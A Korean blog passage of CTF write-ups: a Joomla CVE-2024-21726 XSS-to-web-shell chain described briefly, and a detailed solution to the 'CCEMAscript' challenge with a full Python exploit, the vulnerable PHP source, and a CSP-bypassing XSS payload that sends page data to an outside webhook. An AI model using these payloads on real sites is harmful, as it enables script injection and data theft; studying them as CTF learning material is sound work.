이게 알고보니, PHP Joomla를 사용하고 있었고, 해당 플랫폼에서
https://www.sonarsource.com/blog/joomla-multiple-xss-vulnerabilities/
CVE-2024-21726 해당 취약점이 발생하고 있었고, 이걸 악용하여 XSS를 트리거할 수 있었다.
An attacker can insert multiple invalid UTF-8 sequences,
which effectively offset the index returned by StringHelper::strpos way
beyond the opening angle bracket and
thus include arbitrary HTML tags in the sanitized output.
This completely bypasses the sanitization applied by Joomla.
Since this issue affects Joomla’s core filter functionality,
which is used all over the whole code base, this leads to multiple XSS vulnerabilities.
대강 mb_strpos 함수가 UTF-8 선행 바이트를 만나면
전체 바이트 시퀀스가 읽힐 때까지 다음 연속 바이트를 구문 분석하려고 시도하게 되고,
잘못된 바이트를 만나면 이전에 읽은 모든 바이트가 한 문자로 간주되어
구문 분석이 잘못된 바이트에서 다시 시작되는 것을 악용하는 것이었다.
뭔 말이냐면, 대충 잘못된 바이트 만났을 때 여러 바이트가 한문자로 취급되서
<를 건너 뛰고, 결과적으로 <를 sanitize 못하는 .. 그런 느낌의 취약점이다.
아무튼 간에 <?= system ..을 이용하여 웹 쉘 업로드 후
해당 취약점을 악용하여 XSS를 트리거하여 웹쉘 경로를 가져오게 되면,
결과적으로 rce를 트리거할 수 있게 된다.
gg
대회 때 봤으면.. 풀었을까? 사용된 플랫폼이 Joomla인 것을 알았고, 시간이 좀 더 있었다면
풀었을 것 같다.
CCEMAscript
CCE 청소년부의 마지막 문제이자 성인부와 겹친 문제다.
내가 제일 싫어하는.. XSS 계열 문제이기도 하다.
이건 내가 봤어도 못 풀었을 것 같은데.. Discord에 업로드된 풀이를 보고 설명해보겠다.
import requests
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Language': 'ko,en-US;q=0.9,en;q=0.8,zh-TW;q=0.7,zh-CN;q=0.6,zh;q=0.5,fr;q=0.4',
'Cache-Control': 'max-age=0',
'Connection': 'keep-alive',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://52.231.141.177:27221',
'Referer': 'http://52.231.141.177:27221/',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36',
}
data = {
'color': 'blue',
'name': '");<!--<script\n`',
'desc': '`;const originalEval = eval; function fake_eval(code){if (code.includes("flag")) { console.log("flag?", code); } location.href = "https://nipgztd.request.dreamhack.games/?".concat(escape(fake_eval.caller)); return true; }; window.eval = fake_eval;//</script>--><a id="onasd" href="zxc"></a>',
}
response = requests.post('http://52.231.141.177:27221/save.php', headers=headers, data=data, verify=False)
print(response)
print(response.headers)
print(response.text)
이게 익스코드고, 로직은 대충
<?php
require "config.php";
function err($message = "no hack") {
die("<script>alert('$message'); location.href='/';</script>");
}
function post($name, $default = "") {
$value = empty($_POST[$name]) ? $default : $_POST[$name];
$value = "$value";
if (strpos($value, '*') !== FALSE) {
die(":)");
}
return $value;
}
$color = post("color", "dark");
$name = post("name");
$desc = post("desc");
$nonce = md5(random_bytes(32));
if(strlen($color) > 9 || strlen($name) > 16 || strlen($desc) > 300)
err();
$file_id = md5(random_bytes(32).$name.$desc);
$file_name = md5($file_id);
$sensitive_file_name = md5(md5($salt_prefix.$file_id.$salt_suffix));
$nonce = bin2hex($nonce);
$color = bin2hex($color);
$name = bin2hex($name);
$desc = bin2hex($desc);
$save_contents = "$nonce|$color|$name|$desc";
file_put_contents("../data/$file_name", $save_contents);
file_put_contents("../sensitive/$sensitive_file_name", $save_contents);
?>
<script>
alert("Successfully saved!");
location.href = "view.php?file_id=<?=$file_id?>";
</script>
save.php
<?php
require "config.php";
$file_id = $_GET["file_id"];
$file_name = md5($file_id);
$file_content = @file_get_contents("../data/$file_name");
if(!$file_content) die();
list($nonce, $color, $name, $desc) = explode("|", $file_content);
$nonce = hex2bin($nonce);
$color = hex2bin($color);
$name = hex2bin($name);
$desc = hex2bin($desc);
if(strlen($color) > 9 || strlen($name) > 16 || strlen($desc) > 300)
die();
$nonce_attr = "nonce=\"$nonce\"";
$fake_flag = str_repeat("*", strlen($flag));
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'nonce-<?=$nonce?>'">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">
<link href="/static/effect.css" rel="stylesheet">
<script <?= $nonce_attr ?> id="safe_guard">
let guard = 1337;
// From SO 39963850
setTimeout(function() {
for (const key in window) {
if(/^on/.test(key)) {
const eventType = key.substr(2);
window.addEventListener(eventType, (event) => {
event.stopImmediatePropagation();
});
}
}
function safe_log() {
let guard = 31337;
eval("guard = guard + 1");
if (guard == 31337) {
return;
}
eval("// Congratulations! This is a flag for you: <?= $fake_flag ?>");
}
safe_log();
}, 2000);
document.getElementById("safe_guard").remove();
</script>
<script <?= $nonce_attr ?>>
console.log("Initalized: <?=$name?>'s demo page");
</script>
</head>
<body>
<div class="container mt-5">
<div class="row justify-content-center">
<div class="col-md-8 col-lg-6 content-area">
<div class="bg-area">
<div class="base"><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div></div><div class="base"><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div></div><div class="base"><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div></div><div class="base"><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div></div><div class="base"><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div></div><div class="base"><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div></div><div class="base"><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div></div><div class="base"><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div></div>
</div>
<div class="form-container">
<h2 class="text-center text-<?= $color ?>">Demo Page</h2>
<p class="text-<?= $color ?>">
<?= $desc ?>
</p>
</div>
</div>
</div>
</div>
<script <?= $nonce_attr ?>>
console.log("Finished :)");
</script>
</body>
</html>
view.php
일단 익스코드의 핵심은
'name': '");<!--<script\n`',
'desc': '`;const originalEval = eval; function fake_eval(code){if (code.includes("flag")) { console.log("flag?", code); } location.href = "https://nipgztd.request.dreamhack.games/?".concat(escape(fake_eval.caller)); return true; }; window.eval = fake_eval;//</script>--><a id="onasd" href="zxc"></a>',
해당 부분이다.
name과 desc 파라미터를 넘겨주는데, 이게 HTML 템플릿에서 렌더링 될 때
<script <?= $nonce_attr ?>>
console.log("Initalized: <?=$name?>'s demo page");
</script>
name이 이런식으로 렌더링 되기 때문에,
익스 코드에 있는 ");<!--<script\n` 를 삽입하게 되면,
console.log("Initalized: ");<!--<script
`
가 된다.
이때, <!--<script로 태그를 새로 열어서 </script> 닫는 태그를 무효화 하고,
..가 아니라 미친 트릭이었다. Script data double escaped state?
처음 들었는데 이런 미친 트릭이 있을줄은 몰랐다..
아무튼 <!--<script는 닫는 태그를 무효화 한 것이 아니라 트릭으로 새로 태그 열어서 nonce없이 스크립트 실행하게 한 거였다..
그리고 뒤에 `는
`를 이용해서
<script nonce="a50a363e50e27c904cfad628c62d053a">
console.log("Initalized: ");<!--<script
`'s demo page");
</script>
</head>
<body>
<div class="container mt-5">
<div class="row justify-content-center">
<div class="col-md-8 col-lg-6 content-area">
<div class="bg-area">
<div class="base"><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div></div><div class="base"><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div></div><div class="base"><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div></div><div class="base"><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div></div><div class="base"><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div></div><div class="base"><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div></div><div class="base"><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div></div><div class="base"><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div><div class="circ"></div></div>
</div>
<div class="form-container">
<h2 class="text-center text-blue">Demo Page</h2>
<p class="text-blue">
`;
이렇게 안에있는 다른 html 값들을 다 ``로 감싸버린다. 이러면 에러가 나지 않게 되고,
const originalEval = eval; function fake_eval(code){if (code.includes("flag")) { console.log("flag?", code); } location.href = "https://nipgztd.request.dreamhack.games/?".concat(escape(fake_eval.caller)); return true; }; window.eval = fake_eval;
desc의 해당 js코드가 실행된다.
뒤에 템플릿의 태그 때문에 에러가 나는 걸 방지하기 위해 //로 주석을 처리해주고,
그리고 스크립트가 잘 실행되도록 직접 뒤에 </script>를 해준다.
그리고 원본 익스코드는 desc 맨 뒤에 --><a id="onasd" href="zxc"></a>가 붙어있는데,
이건 왜 붙인건지 모르겠다. 이거 없어도 익스 잘 된다.
내가 볼 땐 a태그로 뭔가를 해볼려고 하시다가,
다른 방법이 있다는 걸 깨닫고 방법을 바꾸셨다가, a 지우는 걸 깜빡하신 거 같다.
그리고 여기까지 글을 읽었으면, 자연스럽게 궁금한 점이 하나 생길 것이다.
const originalEval = eval; function fake_eval(code){if (code.includes("flag")) { console.log("flag?", code); } location.href = "https://ebkefep.request.dreamhack.games/?".concat(escape(fake_eval.caller)); return true; }; window.eval = fake_eval;
"어차피 그냥 JS 실행하면 되는데, 굳이 복잡하게 fake_eval만들고 eval왜 덮어쓴거임?"
나도 처음에 이런 궁금증이 생겼었는데, 알고보니 flag는
<script <?= $nonce_attr ?> id="safe_guard">
let guard = 1337;
// From SO 39963850
setTimeout(function() {
for (const key in window) {
if(/^on/.test(key)) {
const eventType = key.substr(2);
window.addEventListener(eventType, (event) => {
event.stopImmediatePropagation();
});
}
}
function safe_log() {
let guard = 31337;
eval("guard = guard + 1");
if (guard == 31337) {
return;
}
eval("// Congratulations! This is a flag for you: <?= $fake_flag ?>");
}
safe_log();
}, 2000);
document.getElementById("safe_guard").remove();
</script>
이런식으로 safe_log 함수에서 출력되고 있었는데, 문제는 해당 함수가 한번 실행되고 나서
document.getElementById("safe_guard").remove();를 통해 지워진다는 거였다.
심지어 안에 있는 eval은 // Congra ..라서 뭐 출력도 안남고 그냥
실행되고 만다.
그래서 풀이하신 분은 eval을 본인이 만든 eval로 새로 덮고, 해당 함수를 통째로 웹훅으로 보내는 익스플로잇 코드를
설계 하신 것 같다.
실제로 웹훅으로 결과 받아보면,
QueryString function safe_log() {
let guard = 31337;
eval("guard = guard 1");
if (guard == 31337) {
return;
}
eval("// Congratulations! This is a flag for you: *************************************************");
}
이렇게 함수가 통째로 있는 걸 볼 수 있다.
이렇게 익스플로잇 코드짜서 save.php로 보내서 파일 저장하고, fileId를 admin에게 report하면
realflag를 얻을 수 있다.
그리고 admin한테 report할 때 해쉬 퍼즐 풀어야 하는데,
import hashlib
import itertools
target_hash = "e3f2b29be507c1338b025caf3378af55a0003e25"
charset = '0123456789abcdefghijklmnopqrstuvwxyz'
for combination in itertools.product(charset, repeat=6):
test_string = "3c08912" + ''.join(combination)
sha1_hash = hashlib.sha1(test_string.encode()).hexdigest()
if sha1_hash == target_hash:
print(f"hash : {test_string}")
break
대충 이렇게 해쉬 퍼즐푸는 코드짜서 풀어주면 된다.
gg
후기
올해 CTF 웹 예선 문제 다 푸는 게 목표인데, 벌써 codegate 때 1문제 못풀어서 깨지고,
CCE 때 2문제 못풀어서 깨졌다.
물론 업솔브하고 완전히 이해해서 내 지식으로 만들었지만..
그래도 아쉬운 건 아쉬운거다.
이제 내년이면 성인이기 때문에 성인부로 CTF에 출전해야 하는데,
성인부 CTF 문제는 얼마나 어려울 지 너무 무섭다..
일단 작년엔 9등이었는데, 이번엔 2등해서 기분이 좋다.
본선에서도 1등은 어렵겠지만, 꼭 수상을 해봤으면 좋겠다.
GG.
오타 및 오류는 댓글 또는 디스코드 one3147으로 연락 바랍니다!
글 읽어주셔서 감사합니다.
'후기,라이트업' 카테고리의 다른 글
2024 WhitehatContest 2024 Preliminaries 후기 + KETC-Admin-Main WriteUp (4) | 2024.10.20 |
---|---|
2024 CCE & CodeGate 2024 Final Web Writeups (9) | 2024.09.18 |
Theori SA팀 최종합격 후기 (5) | 2024.05.14 |
2024 LA CTF Web writeup (9) | 2024.02.20 |
2024 Dice CTF Write up [Web] (2) | 2024.02.06 |